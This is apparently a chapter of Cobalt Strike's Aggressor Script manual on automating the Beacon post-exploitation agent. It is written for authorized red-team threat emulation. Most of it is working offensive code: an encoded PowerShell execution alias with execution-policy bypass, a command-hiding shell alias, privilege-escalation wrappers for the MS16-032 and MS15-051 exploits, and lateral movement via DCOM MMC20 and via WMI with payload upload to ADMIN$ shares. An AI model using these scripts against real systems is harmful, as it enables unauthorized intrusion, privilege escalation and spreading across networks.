Beacon is Cobalt Strike's asynchronous post-exploitation agent. In this chapter, we will explore options to automate Beacon with Cobalt Strike's Aggressor Script.


Cobalt Strike assigns a session ID to each Beacon. This ID is a random number. Cobalt Strike associates tasks and metadata with each Beacon ID. Use &beacons to query metadata for all current Beacon sessions. Use &beacon_info to query metadata for a specific Beacon session. Here's a script to dump information about each Beacon session:

command beacons {
   local('$entry $key $value');
   foreach $entry (beacons()) {
      println("== " . $entry['id'] . " ==");
      foreach $key => $value ($entry) {
         println("$[20]key : $value");


You may define new Beacon commands with the alias keyword. Here's a hello alias that prints Hello World in a Beacon console.

alias hello {
   blog($1, "Hello World!");

Put the above into a script, load it into Cobalt Strike, and open a Beacon console. Then enter in the hello command and press enter. Cobalt Strike will even tab complete your aliases for you. You should see Hello World! in the Beacon console.

You may also use the &alias function to define an alias.

Cobalt Strike passes the following arguments to an alias: $0 is the alias name and arguments without any parsing. $1 is the ID of the Beacon the alias was typed from. The arguments $2 and on contain an individual argument passed to the alias. The alias parser splits arguments by spaces. Users may use "double quotes" to group words into one argument.

alias saywhat {
   blog($1, "My arguments are: " . substr($0, 8) . "\n");

You may also register your aliases with Beacon's help system. Use &beacon_command_register to register a command.

Aliases are a convenient way to extend Beacon and make it your own. Aliases also play well into Cobalt Strike's threat emulation role. You may use aliases to script complex post-exploitation actions in a way that maps to another actor's tradecraft. Your red team operators simply need to load a script, learn the aliases, and they can operate with your scripted tactics in a way that's consistent with the actor you're emulating.

Reacting to new Beacons

A common use of Aggressor Script is to react to new Beacons. Use the beacon_initial event to setup commands that should run when a Beacon checks in for the first time.

on beacon_initial {
   # do some stuff

The $1 argument to beacon_initial is the ID of the new Beacon.

The beacon_initial event fires when a Beacon reports metadata for the first time. This means a DNS Beacon will not fire beacon_initial until its asked to run a command. To interact with a DNS Beacon that calls home for the first time, use the beacon_initial_empty event.

# some sane defaults for DNS Beacon
on beacon_initial_empty {
   bmode($1, "dns-txt");

Popup Menus

You may also add on to Beacons popup menu. Aliases are nice, but they only affect one Beacon at a time. Through a popup menu, your script's users may task multiple Beacons to take the desired action at one time.

The beacon_top and beacon_bottom popup hooks let you add to the default Beacon menu. The argument to the Beacon popup hooks is an array of selected Beacon IDs.

popup beacon_bottom {
   item "Run All..." {
      prompt_text("Which command to run?", "whoami /groups", lambda({
         binput(@ids, "shell $1");
         bshell(@ids, $1);
      }, @ids => $1));

The Logging Contract

Cobalt Strike 3.0 and later do a decent job of logging. Each command issued to a Beacon is attributed to an operator with a date and timestamp. The Beacon console in the Cobalt Strike client handles this logging. Scripts that execute commands for the user do not record commands or operator attribution to the log. The script is responsible for doing this. Use the &binput function to do this. This command will post a message to the Beacon transcript as if the user had typed a command.

Acknowledging Tasks

Custom aliases should call the &btask function to describe the action the user asked for. This output is sent to the Beacon log and it's also used in Cobalt Strike's reports. Most Aggressor Script functions that issue a task to Beacon will print their own acknowledgement message. If you'd like to suppress this, add ! to the function name. This will run the quiet variant of the function. A quiet function does not print a task acknowledgement. For example, &bshell! is the quiet variant of &bshell.

alias survey {
   btask($1, "Surveying the target!", "T1082");
   bshell!($1, "echo Groups && whoami /groups");
   bshell!($1, "echo Processes && tasklist /v");
   bshell!($1, "echo Connections && netstat -na | findstr \"EST\"");
   bshell!($1, "echo System Info && systeminfo");

The last argument to &btask is a comma-separated list of ATT&CK techniques. T1082 is System Information Discovery. ATT&CK is a project from the MITRE Corporation to categorize and document attacker actions. Cobalt Strike uses these techniques to build its Tactics, Techniques, and Procedures report. You may learn more about MITRE's ATT&CK matrix at:

Conquering the Shell

Aliases may override existing commands. Here's an Aggressor Script implementation of Beacon's powershell command:

alias powershell {
   local('$args $cradle $runme $cmd');
   # $0 is the entire command with no parsing.
   $args   = substr($0, 11);
   # generate the download cradle (if one exists) for an imported PowerShell script
   $cradle = beacon_host_imported_script($1);
   # encode our download cradle AND cmdlet+args we want to run
   $runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
   # Build up our entire command line.
   $cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
   # task Beacon to run all of this.
   btask($1, "Tasked beacon to run: $args", "T1086");
   beacon_execute_job($1, "powershell", $cmd, 1);

This alias defines a powershell command for use within Beacon. We use $0 to grab the desired PowerShell string without any parsing. It's important to account for an imported PowerShell script (if the user imported one with powershell-import). We use &beacon_host_imported_script for this. This function tasks Beacon to host an imported script on a one-off webserver bound to localhost. It also returns a string with the PowerShell download cradle that downloads and evaluates the imported script. The -EncodedCommand flag in PowerShell accepts a script as a base64 string. There's one wrinkle. We must encode our string as little endian UTF16 text. This alias uses &str_encode to do this. The &btask call logs this run of PowerShell and associates it with tactic T1086. The &beacon_execute_job function tasks Beacon to run powershell and report its output back to Beacon.

Similarly, we may re-define the shell command in Beacon too. This alias creates an alternate shell command that hides your Windows commands in an environment variable.

alias shell {
   $args = substr($0, 6);
   btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
   bsetenv!($1, "_", $args);
   beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);

The &btask call logs our intention and associates it with tactic T1059. The &bsetenv assigns our Windows command to the environment variable _. The script uses ! to suppress &bsetenv's task acknowledgement. The &beacon_execute_job function runs %COMSPEC% with argumnents /C %_%. This works because &beacon_execute_job will resolve environment variables in the command parameter. It does not resolve environment variables in the argument parameter. Because of this, we can use %COMSPEC% to locate the user's shell, but pass %_% as an argument without immediate interpolation.

Privilege Escalation (Run a Command)

Beacon's runasadmin command attempts to run a command in an elevated context. This command accepts an elevator name and a command (command AND arguments :)). The &beacon_elevator_register function makes a new elevator available to runasadmin..

beacon_elevator_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_elevator);

This code registers the elevator ms16-032 with Beacon's runasadmin command. A description is given as well. When the user types runasadmin ms16-032 notepad.exe, Cobalt Strike will run &ms16_032_elevator with these arguments: $1 is the beacon session ID. $2 is the command and arguments. Here's the &ms16_032_elevator function:

# Integrate ms16-032
# Sourced from Empire:
sub ms16_032_elevator {
   local('$handle $script $oneliner');
   # acknowledge this command
   btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
   # read in the script
   $handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
   $script = readb($handle, -1);
   # host the script in Beacon
   $oneliner = beacon_host_script($1, $script);
   # run the specified command via this exploit.
   bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);

This function uses &btask to acknowledge the action to the user. The description in &btask will go in Cobalt Strike's logs and reports as well. T1068 is the MITRE ATT&CK technique that corresponds to this action.

The end of this function uses &bpowerpick to run Invoke-MS16032 with an argument to run our command. The PowerShell script that implements Invoke-MS16032 is too large for a one-liner though. To mitigate this, the elevator function uses &beacon_host_script to host the large script within Beacon. The &beacon_host_script function returns a one-liner to grab this hosted script and evaluate it.

The exclamation point after &bpowerpick tells Aggressor Script to call the quiet variants of this function. Quiet functions do not print a task description.

There's not much else to describe here. A command elevator script just needs to run a command. :)

Privilege Escalation (Spawn a Session)

Beacon's elevate command attempts to spawn a new session with elevated privileges. This command accepts an exploit name and a listener. The &beacon_exploit_register function makes a new exploit available to elevate.

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

This code registers the exploit ms15-051 with Beacon's elevate command. A description is given as well. When the user types elevate ms15-051 foo, Cobalt Strike will run &ms15_051_exploit with these arguments: $1 is the beacon session ID. $2 is the listener name (e.g., foo). Here's the &ms15_051_exploit function:

# Integrate windows/local/ms15_051_client_copy_image from Metasploit
sub ms15_051_exploit {
      local('$stager $arch $dll');

   # acknowledge this command
   btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051", "T1068");

   # tune our parameters based on the target arch
   if (-is64 $1) {
      $arch   = "x64";
      $dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x64.dll");
   else {
      $arch   = "x86";
      $dll    = getFileProper(script_resource("modules"), "cve-2015-1701.x86.dll");

   # generate our shellcode
   $stager = payload($2, $arch);

   # spawn a Beacon post-ex job with the exploit DLL
   bdllspawn!($1, $dll, $stager, "ms15-051", 5000);

   # link to our payload if it's a TCP or SMB Beacon
   beacon_link($1, $null, $2);

This function uses &btask to acknowledge the action to the user. The description in &btask will go in Cobalt Strike's logs and reports as well. T1068 is the MITRE ATT&CK technique that corresponds to this action.

This function repurposes an exploit from the Metasploit Framework. This exploit is compiled as cve-2015-1701.[arch].dll with x86 and x64 variants. This function's first task is to read the exploit DLL that corresponds to the target system's architecture. The -is64 predicate helps with this.

The &payload function generates raw output for our listener name and the specified architecture.

The &bdllspawn function spawns a temporary process, injects our exploit DLL into it, and passes our exported payload as an argument. This is the contract the Metasploit Framework uses to pass shellcode to its privilege escalation exploits implemented as Reflective DLLs.

Finally, this function calls &beacon_link. If the target listener is an SMB or TCP Beacon payload, &beacon_link will attempt to connect to it.

Lateral Movement (Run a Command)

Beacon's remote-exec command attempts to run a command on a remote target. This command accepts a remote-exec method, a target, and a command + arguments. The &beacon_remote_exec_method_register function is both a really long function name and makes a new method available to remote-exec.

beacon_remote_exec_method_register("com-mmc20", "Execute command via MMC20.Application COM Object", &mmc20_exec_method);

This code registers the remote-exec method com-mmc20 with Beacon's remote-exec command. A description is given as well. When the user types remote-exec com-mmc20 c:\windows\temp\malware.exe, Cobalt Strike will run &mmc20_exec_method with these arguments: $1 is the beacon session ID. $2 is the target. $3 is the command and arguments. Here's the &mmc20_exec_method function:

sub mmc20_exec_method {
   local('$script $command $args');

   # state what we're doing.
   btask($1, "Tasked Beacon to run $3 on $2 via DCOM", "T1175");

   # separate our command and arguments
   if ($3 ismatch '(.*?) (.*)') {
      ($command, $args) = matched();
   else {
      $command = $3;
      $args    = "";
   # build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
   $script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
   $script .= $2;
   $script .=  '")).Document.ActiveView.ExecuteShellCommand("';
   $script .= $command;
   $script .= '", $null, "';   
   $script .= $args;
   $script .= '", "7");';

   # run the script we built up
   bpowershell!($1, $script, "");

This function uses &btask to acknowledge the task and describe it to the operator (and logs and reports). T1175 is the MITRE ATT&CK technique that corresponds to this action. If your offense technique does not fit into MITRE ATT&CK, don't fret. Some customers are very much ready for a challenge and benefit when their red team creatively deviates from what are known offense techniques. Do consider writing a blog post about it for the rest of us later.

This function then splits the $3 argument into command and argument portions. This is done because the technique requires that these values are separate.

Afterwards, this function builds up a PowerShell command string that looks like this:

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "TARGETHOST")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");

This command uses the MMC20.Application COM object to execute a command on a remote target. This method was discovered as a lateral movement option by Matt Nelson:

This function uses &bpowershell to run this PowerShell script. The second argument is an empty string to suppress the default download cradle (if the operator ran powershell-import previously). If you prefer, you could modify this example to use &bpowerpick to run this one-liner without powershell.exe.

This example is one of the major motivators for me to add the remote-exec command and API to Cobalt Strike. This is an excellent "execute this command" primitive, but end-to-end weaponization (spawning a session) usually includes using this primitive to run a PowerShell one-liner on target. For a lot of reasons, this is not the right choice in many engagements. Exposing this primitive through the remote-exec interface gives you a choice about how to best make use of this capability (without forcing choices you don't want made for you).

Lateral Movement (Spawn a Session)

Beacon's jump command attempts to spawn a new session on a remote target. This command accepts an exploit name, a target, and a listener. The &beacon_remote_exploit_register function makes a new module available to jump.

beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));

The above functions register wmi and wmi64 options for use with the jump command. The &lambda function makes a copy of &wmi_remote_spawn and sets $arch as a static variable scoped to that function copy. Using this method, we're able to use the same logic to present two lateral movement options from one implementation. Here's the &wmi_remote_spawn function:

# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
   local('$name $exedata');

   btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");

   # we need a random file name.
   $name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";

   # generate an EXE. $arch defined via &lambda when this function was registered with
   # beacon_remote_exploit_register
   $exedata = artifact_payload($3, "exe", $arch);

   # upload the EXE to our target (directly)
   bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);

   # execute this via WMI
   brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");

   # assume control of our payload (if it's an SMB or TCP Beacon)
   beacon_link($1, $2, $3);

The &btask function fulfills our obligation to log what the user intended to do. The T1047 argument associates this action with Tactic 1047 in MITRE's ATT&CK matrix.

The &artfiact_payload function generates a stageless artifact to run our payload. It uses the Artifact Kit hooks to generate this file.

The &bupload_raw function uploads the artifact data to the target. This function uses \\target\ADMIN$\filename.exe to directly write the EXE to the remote target via an admin-only share.

&brun runs wmic /node:"target" process call create "\\target\ADMIN$\filename.exe" to execute the file on the remote target.

&beacon_link assumes control of the payload, if it's an SMB or TCP Beacon.